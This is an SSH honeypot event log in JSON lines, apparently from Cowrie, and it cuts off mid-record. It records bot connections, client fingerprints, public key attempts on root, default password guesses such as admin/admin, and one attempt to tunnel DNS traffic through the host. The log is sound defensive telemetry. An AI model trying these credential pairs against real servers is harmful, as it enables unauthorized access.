{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:05.636166Z","src_ip":"176.53.159.196","session":"6e1159958ce2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:05.926735Z","src_ip":"176.53.159.196","session":"6e1159958ce2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:06.026092Z","session":"6e1159958ce2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:06.122574Z","src_ip":"176.53.159.196","session":"6e1159958ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:06.228615Z","src_ip":"176.53.159.196","session":"6e1159958ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.114","src_port":58350,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d98dc4045b","protocol":"ssh","message":"New connection: 191.101.33.114:58350 (10.17.0.5:22) [session: 64d98dc4045b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.701319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.705448Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.732597Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:74:4b:8b:3f:e6:63:11:c1:49:58:eb:9d:78:91:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ObgTZkP2ohEp+F7O4HvFQvN6TVZZmb5WXeP5ZWb1v8wwli/l+fCRgXj2QVm3L7KQfRGuwC6ul/W+4ZHAQW2WAE1F72vhE80keU/1pNcIbzVFfUssa+9JU+J0xE1skbfupU6F1cmtmLwQMm5fqkhFziaWR9tQq44qsddiynTR8xCiTpZ0FnpT3d9yz7fNZ10AdLsf6zQh/2TEPCTyxntMVWXAdZrLK9Zj3Il5yuc6nvbX3aFNTeWYUs/GvevsEfY6aLPwdGhSq7cufgXtv4ItQzQFCHcdZ0LQHlyT26zFkGqewJWc8Cgqxvk6en3Kj8BPeKR7JREv52oVEXhp4rBZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:74:4b:8b:3f:e6:63:11:c1:49:58:eb:9d:78:91:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.847804Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:74:4b:8b:3f:e6:63:11:c1:49:58:eb:9d:78:91:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ObgTZkP2ohEp+F7O4HvFQvN6TVZZmb5WXeP5ZWb1v8wwli/l+fCRgXj2QVm3L7KQfRGuwC6ul/W+4ZHAQW2WAE1F72vhE80keU/1pNcIbzVFfUssa+9JU+J0xE1skbfupU6F1cmtmLwQMm5fqkhFziaWR9tQq44qsddiynTR8xCiTpZ0FnpT3d9yz7fNZ10AdLsf6zQh/2TEPCTyxntMVWXAdZrLK9Zj3Il5yuc6nvbX3aFNTeWYUs/GvevsEfY6aLPwdGhSq7cufgXtv4ItQzQFCHcdZ0LQHlyT26zFkGqewJWc8Cgqxvk6en3Kj8BPeKR7JREv52oVEXhp4rBZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.850823Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:6d:8a:dd:ab:f6:39:ac:85:7b:df:84:48:83:35:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDu3vyGLhaVnxq5hwEcUuJCwp0P7xu9KChs8HmStBAGR379ibixYr+77NiwiGhk6CaS6aiXqCiVRfDCsujhMTGrhTGLXhw00Zjd14HOBVVDeDqZZAwPuarTqgQkvzLHHJKmpyiLdRwxQRmeHogkXzieR1IVEX/hx71BF2CmQF3YYZqeSQkH1t84qxVD2NL3puSyJFJ4XlxK9Q4EbBAWk/9kmwPZdtl0VtI+nl5YM30Sh3R8d7UlZkF7gw+2ylqyhQ2mxvRz0eHParNgh8kISneILcooz+w6k0UsPc1nY9e952BVBZHRj/l7OV66SpWIFQRV5y0gEdJ9cMDfBR7WbQgn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:6d:8a:dd:ab:f6:39:ac:85:7b:df:84:48:83:35:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.878010Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:6d:8a:dd:ab:f6:39:ac:85:7b:df:84:48:83:35:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDu3vyGLhaVnxq5hwEcUuJCwp0P7xu9KChs8HmStBAGR379ibixYr+77NiwiGhk6CaS6aiXqCiVRfDCsujhMTGrhTGLXhw00Zjd14HOBVVDeDqZZAwPuarTqgQkvzLHHJKmpyiLdRwxQRmeHogkXzieR1IVEX/hx71BF2CmQF3YYZqeSQkH1t84qxVD2NL3puSyJFJ4XlxK9Q4EbBAWk/9kmwPZdtl0VtI+nl5YM30Sh3R8d7UlZkF7gw+2ylqyhQ2mxvRz0eHParNgh8kISneILcooz+w6k0UsPc1nY9e952BVBZHRj/l7OV66SpWIFQRV5y0gEdJ9cMDfBR7WbQgn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.881578Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:da:ef:32:e7:e0:31:6b:85:66:02:42:3d:36:c2:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnxkVZKov2EX/kdd7KU13kI0sQACFUBoBC8OL36nVjjx2ymAVxh1FSh6WfcBrrapRzBAvBINNzwaemkNrChdRLnao67f/NjuYCPrgFry9iC1UhaBSVaG+DC5S0mYRlnjsnUt3drsTCgwyvO49zFlrtoV/Z2o6E5s+FovlRkQHmtBk1Za7EtZJFaR2atAWGfsHiyG8gWpVY6Zy3eE9KFhpkpAAMYdUFE7sZNMdEGI95mFu+TZ/WwNBgiP77cW/USxuQGL8EFcU+vS47Z49Rei5QABMU+Wf67l3YGoWtTp3jUZr/67dNYwUOL30nMjMRRO0KQKVVJrSa9kEN4KlmF8wxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:da:ef:32:e7:e0:31:6b:85:66:02:42:3d:36:c2:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.911170Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:da:ef:32:e7:e0:31:6b:85:66:02:42:3d:36:c2:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnxkVZKov2EX/kdd7KU13kI0sQACFUBoBC8OL36nVjjx2ymAVxh1FSh6WfcBrrapRzBAvBINNzwaemkNrChdRLnao67f/NjuYCPrgFry9iC1UhaBSVaG+DC5S0mYRlnjsnUt3drsTCgwyvO49zFlrtoV/Z2o6E5s+FovlRkQHmtBk1Za7EtZJFaR2atAWGfsHiyG8gWpVY6Zy3eE9KFhpkpAAMYdUFE7sZNMdEGI95mFu+TZ/WwNBgiP77cW/USxuQGL8EFcU+vS47Z49Rei5QABMU+Wf67l3YGoWtTp3jUZr/67dNYwUOL30nMjMRRO0KQKVVJrSa9kEN4KlmF8wxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.913852Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:6f:c2:ac:1b:67:c9:8e:c0:e5:43:30:69:56:26:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlZ7ZlhLXJ6PPALT7NDhwQ34g7RmMe2ewYtyENPzepYrJ8UMlya0ObMrYmqk8MqxgFB9cJYDIanUrBLrXCAc9K7eugloLpSw/EGytPcCCHTWbAZuguHWLr5SXwCrDAFqRcLbb21HqXUqrs5B2qh8aN4/UwNm5KMRTnQOuswMFMtEo5qinShprEUeB0P9bfTCw89nJHTv5VQDlYRQxoNWA+pds6iCR3+Ep4p0nhQJ6HrDkVLZxqIVEU68Rgda8/W7cbkNRheAnhR8SEVM95/AwAVlyEQiJWyBwwp5n4Gz70jqLCYn8AWsSLda1RYiZHkcy0IjNxpDjX/ZB/556rNgh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:6f:c2:ac:1b:67:c9:8e:c0:e5:43:30:69:56:26:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.942846Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:6f:c2:ac:1b:67:c9:8e:c0:e5:43:30:69:56:26:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlZ7ZlhLXJ6PPALT7NDhwQ34g7RmMe2ewYtyENPzepYrJ8UMlya0ObMrYmqk8MqxgFB9cJYDIanUrBLrXCAc9K7eugloLpSw/EGytPcCCHTWbAZuguHWLr5SXwCrDAFqRcLbb21HqXUqrs5B2qh8aN4/UwNm5KMRTnQOuswMFMtEo5qinShprEUeB0P9bfTCw89nJHTv5VQDlYRQxoNWA+pds6iCR3+Ep4p0nhQJ6HrDkVLZxqIVEU68Rgda8/W7cbkNRheAnhR8SEVM95/AwAVlyEQiJWyBwwp5n4Gz70jqLCYn8AWsSLda1RYiZHkcy0IjNxpDjX/ZB/556rNgh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.945613Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a6:12:b9:ee:f5:38:bb:0d:43:ba:a6:d5:25:2c:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2TkcZYVUHM2px/YtgqrDgWNQYgFzjTym2OzgKsTFP3R/Kwl/vXLAGBClNFjd9vvjJioPMItsz8K3zcI+82d6oChVYDtQptywiZBoH5g9IRseeXFXeHNLmqWS7T4/Blc5b/ahroa0t2WuP4AWWJh+eNqAN9i31/Zlhljr6hzo4AF9bULzFZEYFM3tcUveiAWqXkl48IEiRWWHbJRVE6QCG63tV59Bs1t+3/MMbEPXITxRFrQbLdbDT9oiTHfsfhN9DZPTldJfYyF0JDbyDJYSUQr3BqxfLellgyPZBd2UbCkC5gI/eGeaZlCP4u2PN1dsQLmZnrHIgQIGnj+6zQVK7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a6:12:b9:ee:f5:38:bb:0d:43:ba:a6:d5:25:2c:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.976716Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a6:12:b9:ee:f5:38:bb:0d:43:ba:a6:d5:25:2c:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2TkcZYVUHM2px/YtgqrDgWNQYgFzjTym2OzgKsTFP3R/Kwl/vXLAGBClNFjd9vvjJioPMItsz8K3zcI+82d6oChVYDtQptywiZBoH5g9IRseeXFXeHNLmqWS7T4/Blc5b/ahroa0t2WuP4AWWJh+eNqAN9i31/Zlhljr6hzo4AF9bULzFZEYFM3tcUveiAWqXkl48IEiRWWHbJRVE6QCG63tV59Bs1t+3/MMbEPXITxRFrQbLdbDT9oiTHfsfhN9DZPTldJfYyF0JDbyDJYSUQr3BqxfLellgyPZBd2UbCkC5gI/eGeaZlCP4u2PN1dsQLmZnrHIgQIGnj+6zQVK7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:20.979793Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:21.010033Z","src_ip":"191.101.33.114","session":"64d98dc4045b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":49050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b09efa5747","protocol":"ssh","message":"New connection: 85.214.154.50:49050 (10.17.0.5:22) [session: f6b09efa5747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:22.364264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:22.367600Z","src_ip":"85.214.154.50","session":"f6b09efa5747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:22.463112Z","src_ip":"85.214.154.50","session":"f6b09efa5747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoin","password":"bitcoin123","message":"login attempt [bitcoin/bitcoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:22.747059Z","src_ip":"85.214.154.50","session":"f6b09efa5747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:23.844554Z","src_ip":"85.214.154.50","session":"f6b09efa5747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58106,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9fcd85aeae2","protocol":"ssh","message":"New connection: 91.92.40.4:58106 (10.17.0.5:22) [session: e9fcd85aeae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:30.869276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:30.873592Z","src_ip":"91.92.40.4","session":"e9fcd85aeae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:30.955492Z","src_ip":"91.92.40.4","session":"e9fcd85aeae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3r4","message":"login attempt [user/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:31.390043Z","src_ip":"91.92.40.4","session":"e9fcd85aeae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:32.568563Z","src_ip":"91.92.40.4","session":"e9fcd85aeae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":46388,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4ab8576922","protocol":"ssh","message":"New connection: 162.241.239.202:46388 (10.17.0.5:22) [session: 3d4ab8576922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:44.591434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:44.595600Z","src_ip":"162.241.239.202","session":"3d4ab8576922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 